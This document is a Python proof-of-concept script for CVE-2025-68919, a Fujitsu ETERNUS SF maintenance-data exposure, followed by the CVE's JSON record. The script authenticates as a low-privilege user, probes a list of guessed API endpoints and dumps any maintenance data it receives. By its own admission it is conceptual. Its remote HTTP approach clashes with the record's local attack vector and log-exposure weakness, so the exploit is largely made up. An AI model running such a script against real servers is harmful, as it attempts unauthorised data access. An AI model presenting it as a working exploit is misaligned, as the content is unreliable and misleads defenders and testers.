CVE-2025-68919

# CVE-2025-68919 PoC - ETERNUS SF Maintenance Data Access # This PoC demonstrates unauthorized access to maintenance data # Note: This is a conceptual PoC based on the vulnerability description import requests import json TARGET_HOST = "http://target-eterus-sf-server" CVE_ID = "CVE-2025-68919" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-68919 The vulnerability allows low-privilege users to access maintenance data that should only be accessible by ETERNUS SF Admin """ print(f"[*] Checking vulnerability: {CVE_ID}") print(f"[*] Target: {TARGET_HOST}") # Attempt to access maintenance data with low-privilege credentials endpoints = [ "/api/v1/maintenance/data", "/api/v1/system/maintenance", "/api/v1/admin/maintenance", "/maintenance/data/export", "/sfmcc/maintenance_info" ] # Using low-privilege session (non-admin user) session = requests.Session() # Low privilege user authentication session.auth = ('low_priv_user', 'password') vulnerable = False for endpoint in endpoints: try: response = session.get(f"{TARGET_HOST}{endpoint}", timeout=10) if response.status_code == 200: data = response.json() # Check if sensitive maintenance data is returned if 'maintenance' in str(data).lower() or 'system_info' in str(data).lower(): print(f"[!] VULNERABLE: {endpoint} returned maintenance data") print(f"[+] Sample data: {json.dumps(data, indent=2)[:500]}") vulnerable = True except Exception as e: continue if vulnerable: print(f"\n[!] Target is VULNERABLE to {CVE_ID}") print("[*] Low-privilege users can access maintenance data") return True else: print(f"\n[*] Target may not be vulnerable or is patched") return False if __name__ == "__main__": check_vulnerability()

{"cve": {"id": "CVE-2025-68919", "sourceIdentifier": "[email protected]", "published": "2025-12-24T21:16:04.313", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fujitsu / Fsas Technologies ETERNUS SF ACM/SC/Express (DX / AF Management Software) before 16.8-16.9.1 PA 2025-12, when collected maintenance data is accessible by a principal/authority other than ETERNUS SF Admin, allows an attacker to potentially affect system confidentiality, integrity, and availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-532"}]}], "references": [{"url": "https://security.ts.fujitsu.com/ProductSecurity/content/FsasTech-PSIRT-FTI-STR-2025-111413-Security-Notice.pdf", "source": "[email protected]"}]}}